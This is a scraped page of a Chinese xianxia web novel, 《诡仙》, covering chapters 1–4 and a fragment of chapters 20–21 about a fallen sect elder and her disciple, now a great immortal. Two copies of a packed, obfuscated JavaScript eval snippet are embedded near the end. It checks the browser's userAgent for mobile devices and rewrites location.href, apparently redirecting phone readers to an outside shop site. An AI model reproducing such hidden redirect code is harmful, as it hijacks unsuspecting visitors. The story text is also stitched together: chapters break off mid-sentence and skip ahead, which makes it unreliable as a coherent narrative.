《诡仙》 1. 楔子 《诡仙》全本免费阅读 嗡嗡嗡—— 惨白的残肢青绿色的苍蝇围绕,半截中指爬满白色的蛆虫,腐肉味无时无刻不在萦绕在这片贫瘠的土地。 臭狗踩在一地的碎瓷上,黄色的草鞋早烂了,钻出黑漆漆的指头,伤口被瓦片划破,流了血,又流了脓,黑的黄的红的混在一块。 他躲在柴堆后面。 挨着茅房的土墙,抓着棍子。 不敢出声,不敢动。 头上的汗水混着灰流进了眼睛,肚子饿得发慌。 他怎么也想不明白。 只是在山上不小心睡着了,下山的之后,怎么村里的人都死了? 村里欺负他的胖墩,每天早晨跑到村头屙屎的李老头,见到他必从怀中掏出一个红鸡蛋的阿嬷…… 如今全都歪七扭八倒在地上,高的胖的男的女的,个个身上都被挖了一大窟窿,血淋淋的。 回忆刚截至这,被一阵令人头皮发麻的声音打断了。 “嚯嚯——嚯嚯——” 一个和屋檐一样高的诡异家伙发着怪异的声音,慢吞吞从柴堆旁走去。 见到对方的身影,臭狗小心翼翼地挪脚,往墙角挤去。 他吓得脸都白了,牙齿也在打颤,泪水止不住地从眼眶滑落,嘴唇紧紧地闭着,生怕自己发出声音把怪物招惹过来。 恶臭味无时无刻不在,有时候臭狗都搞不清楚这是尸臭味还是怪物身上的味道。 臭狗不高,瘦瘦巴巴的,三岁就没了爹娘,打小就一到饭点就跑人别人家里求点剩菜剩饭。 就这样倒也跌跌撞撞长大了。 那怪物何时才走? 他不敢逃。 他见过逃跑被怪物发现后的下场——直接被死开两半,连全尸都没有。 咚咚、咚咚—— 臭狗听见心脏在剧烈跳动,他无比虔诚向上天祈祷。 他不想死!他不想死! 他想活着! “啊!” 突然,草屋内传来一声尖叫。 “求求你们!放过我!我可以给老爷们做牛做马,可怜可怜我,我给大人磕头了……” 披头散发的中年女人突然冲了出来,跌跌撞撞跪到地上,一边哭喊着,一边‘砰砰’在地上磕头。 臭狗没忍住,悄悄探出半个脑袋。 那个女人他认识,平日里是一个牙尖嘴利的寡妇,有一个女儿,平日叫‘囡囡’。 臭狗猜,定是为了屋内女儿的平安,她这才跑了出来。 那个怪物好庞大的一个身影,衬得地上的寡妇更小了。 它听得懂人类的语言吗? 他想起了自己有次在树下看到的鸟窝,窝里的雏鸟开春才孵化,被夜间的一场大风挂到地上,那只雌鸟也是像这样,假装受伤飞到他的面前。 “嚯嚯——” 那怪物显然是有神智的,浑浊的眼珠似乎闪过了一丝嘲讽,举起利爪就要往下抓。 那爪子宛如有千斤重,臭狗是亲眼看到它是怎么穿透阿嬷的胸膛,三两下掏出一堆内脏的。 她就要死了! 臭狗急得要死,却又什么都做不了。 如果、如果他跑出去,吸引怪物的注意力,是不是可以争取到时间? 这个念头一旦出现在脑海中,就挥之不去了…… 他紧紧的盯着眼前的一幕,然而脚好像扎根了似的,未挪动丝毫。 看似冷静,实际大脑乱麻。 “轰——” 臭狗感受到有什么液体洒到脸上,伸手一摸,是血。 刀锋划破庞大的怪物倒了,身体被一劈两半。 他瞪大了双眼,怔怔地看着眼前的这一幕。 一位身穿白衣,身上发光的神女持剑从天而降,剑锋传来隐隐鸣声。 他甚至没来得及眨眼,那个几乎杀了整个村子的怪物就这样死了。 只用了一剑。 “已经没事了,这银两你拿去吧,还有这张符,遇到危险它可以护你周全,找个安稳的地方带着女儿好生过日子。” 神女的声音真好听,明明说的都是官话,偏偏从县城来的官老爷没她听起来的悦耳。 妇人一时没反应过来,额头还顶着乌青,身体已经朝着神女磕下去:“谢谢谢谢仙子……” 声音哽咽,带着劫后余生的后怕。 “我观你的丫头有几分灵根,倘若有机缘,可以拜入修仙门派。” “是、是是,俺记得了。” 神女说完后,便转身朝着村后的林子离开了。 臭狗见状,鬼使神差地朝对方的背影追了过去。 臭狗虽然年少,常年走山路的脚板结了厚厚的茧子,跟在仙子身后只觉得心砰砰作响。 他下意识按照自己以往打猎时的距离,小心翼翼地跟踪着。 他以为自己跟踪得很好。 然而,一个眨眼间,对方的身影便突然消失了。 “你这小儿为何跟在我身后?” 臭狗心一惊,顺着声音望去。 只见那神女站在他的身后,神情看不清喜怒。 “仙子姐姐,刚刚那是什么?” “剑法。” “我、我能学吗?” “三十日后便是各大宗门挑选弟子的日子,到时你往云瑞城参加,有根骨自然可以入门。” 少年只觉得自己怕是得了失心疯,他听见自己问道:“你可以教我吗?” 此话一出,他差点咬到自己舌头。 仙子没有说话,淡漠的眼神在他身上审视了一遍 臭狗从来没觉得自己这么窘迫过,他感觉自己的耳朵似乎都烧起来了。 像对方这样高雅的神仙,就算要收徒,也肯定不是自己这样的。 他脏兮兮的手原本扯着衣角,此刻就好像被对方的视线烫了一下,努力往背后藏,脚趾蜷缩,好像这样,就能掩饰住鞋子的破洞,和打了十几个补丁,说是烂布都不为过的衣服。 “我不收徒。” 仙子淡淡地说了一句,便转身离开了。 臭狗脸色一白。 倘若是寻常懂礼仪,知廉耻的人到了这里,怎么说也该知难而退了。 然而臭狗自幼在山沟沟长大,山里人懂个屁的礼义廉耻,只知道有些东西,你不去抢,别人就不会白白送你。 山上的柴火要抢,长熟的庄稼夜里要护着,别村的人来找茬了要举着棍子打回去。 他没有走,而是默默跟在了神女的后面。 如果有第三者出现在这里,看到这一幕无疑是很怪异的。 一名鸾姿凤态的神女,不说身边应该跟着鸾凤仙鹤,至少也应该出现在仙山琼阁、瑶台阆苑,即使是行走在山间,也别有一番野趣。 结果,身后却跟了一个灰头土脸,瘦不拉几的,好像村里刚满半岁,浑身脏兮兮,讨人嫌的小土狗,好似大家的传世之作莫名多了个泥点子。 正如臭狗的名字一般。 臭狗一路跟啊跟啊。 正午的太阳被乌云暗了,林间的树叶被浇了个尽又被蒸发,夜间的动物跑出来觅食了,天 2. 第 2 章 《诡仙》全本免费阅读 “上回说那云瑞城,正是妖孽入侵,城内上万人,死伤惨烈,原本黄土都变为了黑土——为啥?血染的!” 高台上,新来的先生左手端醒木,右手握折扇,唾沫横飞道。 “胡诌!谁不知道云端城是那九重天剑宗的地盘,平头百姓不敌妖孽,莫非仙君们也束手无策?” 台下当场有人不满意了,发出质疑。 那说书人闻言,倒也不生气,解释道:“客官有所不知,那魔族正是趁仙君们出门历练,这才得逞,血渍如今都没刷洗干净!” “然后呢?云端城怎样了?”另一人不满打断,迫不及待问道。 只见说书人露出神秘微笑,扇子刷的一声打开,摇头晃脑道:“方才说了,就在那满城腥风血雨之际,天空一道霞光传下,哟,只见一位仙人踏空而来,衣袂翩跹,神采英拔,仙风道骨,眉目怜悯,更有云中飞鹤啼鸣,手持紫薇剑,只用一剑……” 他顿了顿,伸出一根手指:“瞬息间,那魔头脑袋就滚滚落地……” “其余妖孽惊恐万分,高声问道,‘来者何人?’,岂料仙人沉默不语,手抬刀落间,又是十几个脑袋……” “这下子,吓得妖怪屁滚尿流,纷纷逃回魔界……” “城内百姓纷纷跪拜道谢,一抬头,便发现仙人早已离去,妖孽脑袋也跟着不见了。” “那仙人是谁?”台下一总角小儿好奇道。 说书人将折扇一收,放在桌子上一敲:“仙人者,剑宗玉岫仙君是也。” 台下哗然。 一女子身着布衣,一根木发簪随意挽起头,正夹着一块牛肉,听到名号,筷子顿了顿。 “玉岫仙君?那可是百年来修界一大奇才,传闻不过百年,就已登大乘期!” “那可是真正仁义,虚怀空谷之仙人!”青衣男子拱手道。 “还有还有,传闻他长相也过人,是修界第一美男!”说这话的显然是位怀春少女。 酒楼内,台下宾客纷纷对这个‘玉岫仙君’展开一番讨论。 “说的什么垃圾。”女子轻声道,随后又细细品尝切好的黄牛肉。 旁边有人听见了,立刻不满意了,拍桌喊道:“你这粗鄙妇人在说什么?” 如今什么人都敢侮辱玉岫仙君? 其他人虽然没有说话,但望向她的眼神不善,似乎如果对方不能给出个合理的解释,他们就能让她走不出这个酒楼。 “我说这个说书人新来的吧。”面对众人的目光,女子也不急不躁,解释道,“故事讲得不咋地。” 声音不大,在嘈杂的酒楼,仅仅四周几桌人能听清。 面对这样的理由,周围人也不好计较些什么,总不能连对方点评说书先生都不给了。 好在台上的说书人没注意到这场小闹剧,他笑眯眯地看着台下人的议论,待到喧闹声平息,便抬手,醒木一拍。 “啪!” 宾客悄然。 “玉岫仙君的功绩举不胜举,然而,前人之述备矣,今日并非要讲其丰功伟业,而是要讲他的儿时,那曾经的女魔头的故事……” “……先生是想讲那位?”人群有长者捋胡子,迟疑道。 “就是那位!百年前的元长老……”说书人答道。 “那女魔头有甚好讲的!仔细惹恼剑宗弟子!” “究竟是哪位?”也有不明所以者发出疑问。 “嘘,可千万别被那些剑宗弟子知晓了。” 只见台下有知情人三缄其口,有人更是好奇。 “非也,那女魔头当年名气也是不亚于玉岫仙君,号玉漪,是剑宗七大长老之一,当年离大乘期不过一步之遥!世人无不尊称元长老。百年前从人间带回一童子,取名为元岫,并将其收入门下……”说书人摇头晃脑。 “那又如何!玉岫仙君如此光风霁月之人物,早便与那欺师灭祖背信弃义的女魔头脱离关系!”说这话的显然是玉岫仙君的追随者。 “就是,前段时间我老家长洲又被那女魔头搜刮了一轮资源!” 布衣女子:我怎么不知道自己去过长洲? “那女魔头男女不忌,搜刮天下有姿色之男子,充于后宫之内。” 布衣女子:是的,每月还要吃金童玉女一双。 “这几年好像没听见她的音讯了。” “她就是一个喜怒无常的疯子!死了最好!” “那种人活着也是浪费世上的灵气,真是可惜了当初剑宗的秘法宝器了,若不是后来玉岫仙君横空出世,剑宗就该跌落修真界四首了。” 元漪表情冷了下来,看向刚才说话的人,那是一个穿着玄色衣袍的男子,看打扮,像是散修。 “怎么,你是剑宗养的狗吗?这么替剑宗着想?” “你——”那男人怒目而视,先是扫视了一轮这个不知好歹的布衣女子,一副随时要上前打人的架势,随后又似乎想到什么,压着怒火问:“我与姑娘无冤无仇,为何出言不逊?” 长期行走修仙界,虽然看不出眼前人的背景实力,但像他这种散修,是最不愿惹是生非。 元漪又不说话了,只是面无表情地看着对方。 “哎哎哎,各位客官有话好好说嘛,大家都是来放松的,何必找无趣呢?”店小二见有起斗角,赶忙跑来。 见到众人抗拒,对此避之不及的态度,说书人也不敢惹起众怒——他昨天才应聘上的岗位,于是清了清嗓子:“既然如此,那我便换个故事好了……” “结账吧。”元漪正好也将碗中的牛肉吃完了。 “好嘞!您吃了一碗卤牛肉加竹叶酒,一共50枚低阶灵石。” 修仙界以灵石作为交易媒介,分为低中高阶,其中1个高阶灵石可以兑换100个中阶灵石,1个中阶灵石可以兑换100个低阶灵石。 元漪心底叹了口气,物价又涨了,看来要自己找些活来赚灵石了,一边慢吞吞想着,一边从储物袋中掏出灵石。 “且慢,这位小姐的灵石我付了。” 一道清朗的女声打断了元漪的动作。 一名穿着绿色衣服,看起来清新活泼的少女从后走来。 先是亲热地朝元漪笑笑,随后从金丝储物袋中掏出一个中阶灵石,随手抛给小二:“不用找了。” “你好,我叫柯幼怡。”她伸出右手,表情友好。 元漪还在看向小二手中的中阶灵石,表情有些依依不舍。 “你好。”她慢慢回头,朝对方点头道。 柯幼怡的手悬在半空,整个场面有些尴尬,很快她又调整了回来,清了清嗓子:“您就是那位吧,我从渡生城城主那介绍过来的。” “找我有什么事吗?”元漪回想了片刻,才想起渡生城城主是哪位。 柯幼怡四周环顾了一圈,笑着建议道:“我们出去找个地方说吧。” “不用了。”元漪冷淡地拒绝了,接着看向了窗外,“下雨了。” 此刻天气阴暗,还能听见隐隐约约的雷鸣声,紧接着就一场淅淅沥沥的雷雨。 似乎没想到对方如此不给面子,柯幼怡的笑容也僵住了。 元漪没有管她,而是从储物袋中掏出一把油纸伞,普普通通的,印着水墨画,如同最普通不过的凡人一样,朝外走去,渐渐消失在雨帘之中。 柯幼怡:…… 她望着对方宛如“世外高人”般的背影,沉默了一会儿,随后灵气聚顶,形成一道无形的结界,走入雨中。 嗯,修真者一般不用伞。 玉蟾城受四大宗门之一巨灵书院庇护,这里商贸繁荣,平日来来往往的人很多,鱼龙混杂。 然而,最近这几日更是格外多人。 元漪知道,是因为每五十年开放一次的巨灵书院秘境大门打开了。 说是书院,实则也是个门派,讲究修身齐家,人均书呆子,与另外三个追求飞升大道的门派不同,他们所追求的,是一个朗朗乾坤的天下 3. 第 3 章 《诡仙》全本免费阅读 巨灵书院的秘境是一块上古时期的遗址,相传是一名大能在飞升前专门为自家小辈所打造,凡是进入该秘境的修真者,等级均会被压制到金丹期以下。 “进入秘境之后,大家凡事小心,如果遇到危险,就捏断传送符……”白袍暗纹的男子对着新入门派的弟子絮絮叨叨,“秘境结束之后,就到入口处集中……” “知道啦,师兄,反正这个秘境有谁敢招惹我们剑宗呢?”一名外表约十七八的青年笑嘻嘻道。 “就是,实在不行就搬出元岫长老,现在修真界不知道元长老是如今剑修第一人,离飞升指日可待!”另一名少女附和道。 一提起元岫长老,四周的少年们都露出与有荣焉的神态。 而身为这次历练队长的周宇正颜厉色:“正因如此,更要严阵以待,人有失足马有失蹄……” “好好好,我们早就明白啦。”少年们一副迫不及待的模样。 周宇内心叹了一口气,这届历练的弟子都是各长老下的内门弟子,本身天赋出众,修炼中一直顺风顺水,自然免不了心高气傲。 “现在大家自行探索吧。” 也罢,人各有造化,或许栽次跟头之后就能懂了—— 再者,这里修真者左右不过练气期和筑基期,倒也不至于惹出多大事故。 他默默看着这十几名弟子陆陆续续离开。 “谁!?” 似乎是感受到了一道视线,周宇突然转头看向某处,目光凌厉。 元猗缓缓从一旁的老树后走出来,举着手中的含息草示意道。 “抱歉,我并非有意。” 周宇眉头微蹙,随后松开。 眼前的女子相貌普通,穿着也是最普通不过的灰袍,很普遍的散修模样。 他一眼认出了对方手中的含息草,那是炼丹中最常见不过的草药,各类低阶丹药都用得着它。 周宇颔首,示意对方自便。 “我观小友左手似乎有所不便,正巧最近我新炼了一批丹药,对这类伤痛有所裨益。””元漪推销道,“不要500,只要499下品灵石,就能得到一枚疗伤灵药!” 配上她的散修打扮,和毫无诚意的态度,全然一副修真界三流骗子的模样,还是只能坑蒙拐骗小孩老人的那种。 周宇沉默了,不知道是因为对方拙略的推销技术,还是那副‘爱买不买’的表情。 元漪面不改色,收起了手中的草药,似乎要转身离开。 “你有多少,我全买了。” 周宇藏在衣袖下的左手假肢动了动,突然说道。 元漪脚还没踏出半步,就被叫了回来,有些诧异地睁眼。 周宇表情认真,态度诚恳重复道:“我全买了。” “共十颗,一共4990下品灵石,我看道友是个爽直人,打个折,只要49个中品灵石。”元漪从善如流,从储物袋中掏出十个瓶子扔给对方。 周宇在检查过后,直接给了五十颗中品灵石。 元漪表情有些一言难尽,随后很快转回原本死气沉沉的模样。 周宇这个小孩怎么被教育得对陌生人如此没有提防? 她记得内门大师兄的月饷不过一枚上品灵石,也就是10000枚下品灵石,仅仅只够一个月的开支。 莫非多年未见,剑宗涨补贴了? “多谢道友小费。” 脑中想的暂时不谈,元漪拱手之后,便干脆利落转身离开了。 丹药原材料成本很低,不到十下品灵石就能买齐,贵的是炼丹费。 不过既然对方愿意当不讨价还价的冤大头,她自然不会和灵石过不去。 “慢着!”望着女散修离开的背影,周宇叫了出声。 “何事?”元漪停下了脚步,转头道。 终于意识到自己被宰,后悔了? “您……”周宇嗫嚅道,似乎想说些什么,随后泄气一般,肩膀耷拉下来,“没事,只是觉得道友像我认识的一个故人……” “嗯。” 元漪神情平静,表示自己听到了,便继续离开了。 她还有灵植没采完,不赶紧点,其他修真者就扫光了。 “我观巨灵书院的弟子往南边走去了,说不定他们知道什么内幕,我们也跟上去!” “何人在此地埋伏我们?” “哈哈哈哈快把你们的法器交出来!” “师兄,我们不能再这样下去了!” “师妹,我对你是真心的……” 秘境中各个队伍的对话传入元漪的耳中,夺宝的,乘火打劫的,风花雪月的……每处都上演着不同戏码。 她忽视了百米之外,一支队伍为了抢夺金莲和一只金丹期的灵兽打起来的场面,从旁边绕过。 “先来后到懂不懂?”正在施法的一名男修急了,朝着元漪喊道。 灵兽也朝她发出了警告的吼叫。 元漪对此熟视无睹,摘下了金莲……旁边的荷叶。 “我摘个荷叶就走。”她挥了挥手中的荷叶。 这个荷叶做出来的叫花鸡格外的香。 “额……” 原本激烈打斗的队伍有些语塞。 元漪无意去争夺那些珍稀灵植,只是打算在外围采一些应用广泛,常见的灵植。 她数了数荷包,加上刚才在周宇那交易得来的五十颗中品灵石,总共54颗中品灵石和67颗下品灵石。 灵石的稀缺性并非源于它是交易的货币,最关键在于它是众多修仙者汲取灵气的一种容器,比普通的打坐吸收天地精华要来得便捷,只有少数灵脉才能开采出来。 而元漪并不打算用来修炼,最大的开支就是在人界集市吃吃喝喝,对于她来说,灵石就是纯粹的货币。 这些收入足够她生活半年。 巨灵书院的秘境很大,放眼望去是片茫茫的森林,头顶时不时有修仙者踩着法宝朝中间飞去。 元漪头也不抬,只管往外围走。 “那妖孽跑哪去了?” “好像是这边。” “师兄,小心点!” 几名年轻人的声音传入了元漪的耳中。 4. 第 4 章 《诡仙》全本免费阅读 赵青云最直接接触黑雾,因此也最清楚感知到自己的下半身在逐渐消融。 那种血肉被一点一点吞噬,筋骨断裂却无力制止的感觉足以让一个活生生的人发疯。 不是说这只是一个最高修为筑基期的秘境吗?! 他的大脑一片空白。 在他看不见的地方,赵青云额间皮肤下像是有虫子在蠕动。 皮肤宛如有了自主意识一般一起一伏呼吸着,很快的蔓延到了全身乃至已经消失的大腿根部。 咻—— 就在他以为自己命休矣之时,一道剑锋从上空划过。 以一种势不可挡的气势将黑雾硬生生斩断,赵青云甚至听见了黑雾的惨叫。 “仙尊!”跟着白衣女子迅速前往支援的周宇叫道,表情又惊又喜。 只见秘境的结界被撕开了一道裂口。 一位谪仙般的男人踏空而至,肩上踩着一只通体雪白的神鸟,右手收回一把通体雪白的剑。 修真界中,元婴期以上的老怪物深藏简出,唯一还算活跃的,甚至还是大乘期的,就只有玉岫仙君。 门派的新一辈哪见过这种阵仗。 大乘期的威压下,原本在秘境的震动下勉强保持稳定的修真者瞬间跪倒在地。 仙君的神识扫过秘境中的每一个人。 赵青云感觉自己大脑被人读了一遍,汗毛倒竖。 此时此刻,秘境所有人的思想在绝对碾压的境界下无处遁形。 即使这样,也没人能起一丝反抗之心,仿佛对方理应如此。 不过很快,元岫收回了神识。 只见玉岫仙君的剑轻轻一劈,一道看似缓慢平平无奇的刀锋从天而落——只有最靠近的赵青云感知到这一剑的威势。 以往修炼还算灵敏的他浑身发凉,无处躲,也不敢躲。 “砰!” 刚才还是刀枪不入的怪物瞬息间被劈开一半。 但很快,被劈开的怪物再次蠕动起来,想要重新合为一体。 只是裂空而来的仙君并没给它这个机会,随着一道道刀锋不间断落下。 短短几息间,原本让众人束手无措的怪物最终轰然倒地。 而仙君好似顺手摘了朵花,波澜不惊。 全然不知底下的弟子们早已心潮澎湃,恨不得自己坐地突破,早日也成为一方大能。 元漪看着对方的到来,悄悄地收回了手中的剑,转身继续往门口离开。 正巧忽视了刚结束战斗时仙君寻觅的眼神。 “玉岫长老!刚才的怪物究竟是何方妖怪?为何我在课本上没见过?” 打斗结束之后,剑宗弟子上前想要搀扶赵青云,鼓起勇气向长老询问。 元岫收回了视线,淡淡回答:“你们以后要是遇到了这类怪物,立即避开,不可恋战。” 他没有详细解释原因。 剑宗弟子闻言脸色一凛,暗暗后悔:“是!” “嘶——” 突然,赵青云发出呻/吟,脸色苍白,本是强弩之末的他昏了过去。 “师兄!” 元岫上前仔细探查了一番对方的情况。 赵青云状态很不好,下肢空荡荡的,像被一个大型猛兽撕开咀嚼,身上到处是暗伤。 元岫遗憾道:“原来的肢体已经被吞了,你们将他带回宗派,待他醒来后问问有什么打算……未来怎样就看造化了。” 他没有直说,但在场的人都知道,如果没有意外,赵青云的修真生涯怕是彻底废了。 在元岫说话的期间,秘境的空气逐渐变得稀薄,除了他以外的人呼吸越来越艰难。 他不能在这呆太久。 元岫再次将神识横扫了整个秘境,这次如风一般轻柔,即使被发现了也只以为是风。 最后微微眉眼低垂,右手轻轻抚摸了下肩上的一仗雪。 “你们——”元岫微张嘴唇,似乎想要对眼前的剑宗弟子们说什么。 “算了。” 他重新划开结界,消失在混沌中了。 他的修为太高,秘境压制不住,如果不能在一刻时内离开,巨灵书院的秘境将会坍塌。 在仙尊离开之后,剩下的弟子才松了一口气。 “幸好有元长老。”这话满是后怕。 “赵师兄该怎么办呀?”方才找援救的少女面色悲寂。 负责带队的周宇看了一眼昏迷的赵青云,无奈地叹了一口气:“秘境没结束无法离开,大家继续历练吧,我来看守他。” “是。” 只是经历了这次的危机,剑宗的弟子不敢再轻敌,表情都凝重起来。 周宇看着离开的人,右手一挥,给自己和昏迷过去的赵青云布下一道防御阵法。 他垂下眼眸,陷入了沉思。 人人都称长老宽宏博爱,嫉恶如仇,然而他知道,尊上对世间大部分的俗世并不上心。 别说只是赵青云断掉一条腿,就算是剑宗的所有弟子折损在这里,被他知道了也是惋叹一声,更别提专门破开秘境救人了。 当然了,周宇也能理解,毕竟修真界一向以实力为尊,想要成长总得见血。 * “仙子,这位仙子别走呀。” 熙熙攘攘的街道上,一道敞亮的声音穿过人群,令众人纷纷侧目,心想是哪家青葱少女。 看清声音的来源之后,不禁沉默。 一名身穿绿衣,清丽可人的少女不顾得体的穿着,拎起裙角一路高呼,追着另一名女子跑。 要说被她追的女子有多特别倒也没有。 她穿着粗布麻衣,不施粉黛,五官寡淡,甚至修为也不过仅仅筑基期,在凡人界很不错,但在修真界普普通通。 元漪将手中的药物卖了5个中品灵石,现在包里一共有59个中品灵石和67个下品灵石。 她刚走出药铺就又迎面遇到柯幼怡。 对方也不管自己的脸色,像是完全忘了上回的拒绝后,又笑盈盈贴上来表示要和她一路。 想到这,元漪的脚步越走越快。 “仙子!好姐姐!你等等我!”已经是金丹后期的柯幼怡最终追上了元漪。 她自来熟地将手搭在了对方的肩膀上,气鼓鼓嘟囔:“你等等我嘛。” 元漪默默将搭在自己肩膀上的手放下去:“有什么事直接说。” 柯幼怡已经习惯了对方的态度,满不在乎她刚才的举动,笑道:“我觉得和你一见如故,想结伴做个朋友——哎——哎,你别走呀。” 元漪没等对方的话说完,掉头就走。 又是一场重复的追逐,柯幼怡这回机灵了,她讨好地回复道:“我听说你炼药特别厉害,想拜托你练一批延寿丹。” 延寿丹,中阶辅助丹药之一。 顾名思义,可以延长生灵原本的寿命,但对金丹期以上的人失效。 “我不会,你另寻高就吧。” “求求你了。”柯幼怡眼泪说来就来,“我爸爸是个凡人,他离大限已至不远了,我好不容易打听到你会练这种丹药——我、我可以多付钱!” 泪水从她的眼眶一滴一滴掉落,可谓是我见犹怜,路人纷纷朝‘罪魁祸首’投向谴责的目光。 见越来越多的人关注到这处,元漪停止了离开了脚步。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12481365|132152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵珠压制整座城的灵气,令百姓无法修仙,无法出行,只为让百姓求助于自己,满足自己的奉献欲,我说得对吗?” 元岫临空而立,一把剑分散百余把,直指四周的佛像。 传闻有一母亲,其女久病缠身,慈母不离不弃,感动世人。 然,夜幕将至,其母将毒药藏至汤药中,令其半身不遂,终身依靠母亲。 而他再没猜错的话,秘境分为两个部分,前者是外人踏入城里时,那群行尸走肉,后者是通过佛像进入的精神世界——所谓的文蓝大师早就疯了,执念化作往事,一遍一遍演绎过去,享受着奉献的感觉。 像是被说破了心思,半身腐烂的佛像竟发疯了似地朝他重来。 元岫眉眼凌厉,瞬息间,将剑影穿插佛像。 “砰!” 秘境破裂。 秦涧木眼神恢复了清明,跪倒在地上,大口大口喘气,抬头看向那道只用了一剑便破开秘境的剑修身影,眼神复杂。 “呵,居然是大名鼎鼎的玉岫仙君。”他讥笑道。 “青玉馆馆主秦涧木,久仰大名。”元岫收回剑,站在了倒地的元漪前,将两人隔开。 如果没有猜错,秘境中,后来的谣言就是眼前的人散播的,为的就是那颗珠子——他代替了原本故事的罪魁祸首。 “不过是元漪的小徒弟而已,我倒是很好奇,到底凭什么,凭什么她将秘籍教给了你?!”秦涧木死死地盯着元岫的脸。 所谓的玉岫仙君,当年不过是小小的凡人,踏入修仙的时候早就错过了最佳修炼时间,然而进步飞速,实在不令人怀疑,一定元漪在背后教了他什么。 元岫神情淡然,只是眼中闪过了一丝不耐,他本能地感知到对方的妒意。 “修仙没有快捷的秘籍。” 秦涧木冷笑:“是吗?这话我可不信。” 修真界只有极少人知晓,元婴期以上,每一阶段都是九死一生,稍有不慎将会走火入魔。 元岫是元漪亲手带大的,能够顺利的一路直升大乘期,除了元漪私底下教了他什么,秦涧木想不出第二种可能。 看见元岫的神情,久经风月场的秦涧木很快了然,大笑起来:“没想到啊没想到,世人口中高风亮节,如白玉一般光洁的玉岫仙君,竟然对自己的师尊抱有这般心——” 一道锐利的剑锋从秦涧木的耳间擦过,削下一截头发。 秦涧木顿时噤声,对上元岫冰冷的眼神,浑身僵住了。 他才后知后觉,眼前的人除了好脾气的名声之外,同时也是当今唯一的大乘期修仙者,是世上最强者。 只要元岫想,此刻他就算在此地将自己凌迟,传出去也无人敢质疑——毕竟,修真界以强者为尊。 他浑身发颤,只能眼睁睁看着对方俯下身——轻柔的、温柔的,将昏迷的元漪抱在怀中,像在拥抱一个世上唯一的珍宝。 然后经过他的身后,收下了黯淡的噬灵珠。 秦涧木想,他这辈子,这辈子都不会忘记元岫经过时看自己的眼神。 没有厌恶,也没有愤怒,而是是波澜不惊,似乎在看一只无关紧要的蝼蚁,一个只会在夜里出没的老鼠。 21. 第 21 章 元岫出来秘境时,寺庙中的佛像彻底倒塌。 那老喇嘛还是老样子,懒懒散散躺在地上,衣服污浊得像是半年没有洗过,见到元岫也只是抬起了下眼皮。 “嘿,竟然没死。”他咧开嘴笑了笑,露出一口稀疏的大黄牙。 “告诉你们玄云寺,你们的五长老现在死了,不用再派人守着了。”元岫抱着昏迷的女修,轻轻说道。 老喇嘛脸色顿时变了,右手掐了个诀,嘴上念念有词,闭上眼睛感应了一会儿。 再次睁开眼时表情严肃:“我知道了。” 说罢,不知从哪掏出一张符箓,撕开一道千里符,嗖的一声就不见了人影。 如果元漪还醒着,必定会说:这个假和尚,装都不装了。 元岫突然冒出了这样的想法。 以前,在元漪还是剑宗大长老,元岫还只是那个小徒弟的时候。 这个身居高位的元长老没这么高冷,与很多修仙者戒躁戒欲不同,她好似水墨画中最浓重的一笔,充满了世间的贪欲。 雪山约架,秘境夺宝,修炼秘籍,她对一切美食美人都有着极大的兴趣。 没了家的小泥娃第一次接触到了修仙界,穿着从来没穿过的锦衣,吃着精心烹饪的美食,知道了世界上还有一种名为修真者的存在,他们法力高强,神通广大。 走进剑宗的主殿,年少的元岫内心揣揣,金碧辉煌的楼台殿阁仿佛要晃瞎眼,几大长老高高坐在八仙椅,神情威严。 宫殿大堂中,只有她笑得恣意,朱唇皓齿,得知自己的想法之后,也是笑问一句:“确定了吗?跟着我可没有什么资源哦。” 他的天赋测出来极强,长老们为了收徒吵成一片。 吵闹声中,他听见自己心跳如雷,声音低沉却坚定:“非师尊不可。” 当元岫从寺庙出来时,景象已经截然不同。 城里的迷雾彻底散去,里面的建筑在缺乏能量的庇护之后,暴露在空气中,风一吹便成为了散沙。 原本的杂货铺位置只剩下一地的瓦砾,元岫经过时踩到一块腐烂的木板,一块白骨顺着小坡滚落,其二十公分外,躺着一个旧的不能再旧的骷髅头,与来者四目相对。 四周皆是倒塌的废墟,好似一座被遗忘的远古城市。 饶是见多识广的元岫也有些动容,他看着怀中的女子。 元漪双目紧闭,脸色苍白——上面的血迹被他用帕子擦过了,以往总是说不出好话的嘴也紧紧闭合。 他在元漪倒地时确认过身体状况,灵气注入对方体内就好像一个漏风的筛子,原本就受损的灵台入境更是一副即将散开的模样。 唯一令他庆幸的是,她还活着。 元岫抬头招手。 一只额头一抹红的白鸟在元岫头顶盘旋,随后扑梭翅膀,优雅降落在他的肩膀上。 “时隔二十天零六时辰,仙君可算是想起远在天边的我了,哎呦喂——这就是女主人吗?”一丈雪用粗矿的嗓子抱怨,随后注意到元岫抱着的人。 “是的。”元岫轻柔地将对方垂落的一缕头发敛到耳边。 “仙君,我感觉她状况好像不太好——好吧,我知道自己又在说废话,但我毕竟只是一只鸟,对于鸟要求不能这么高,还记得我还是只是一颗蛋的时候,我娘每天……”一丈雪在对方警告的眼神中声音越来越小,“咳咳,所以说,现在要去哪?” “万归宗。”元岫道。 万归宗,四大门派之一,最擅长炼器炼丹制符御兽——简单来说,除了武力不强,什么都会。 无论是噬灵珠,亦或是疑难杂症,倘若在万灵宗的藏宝阁中都找不到答案,那么别的地方就更难得知了。 闻言,一丈雪从元岫肩膀上飞下来,身体越变越大,随后俯下身示意对方上来。 “得咧,坐好,起飞——” * 渡生城内,与外界想象中阴暗的不同,里面红歌翠舞、笙歌鼎沸,一片繁华景象。 城主府邸,柯幼怡穿过了层层回廊,来到了后院,此处常年不见光。 一处紧闭的铜门位于山的阴面,待她靠近时自动打开,传来甜腻到邪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 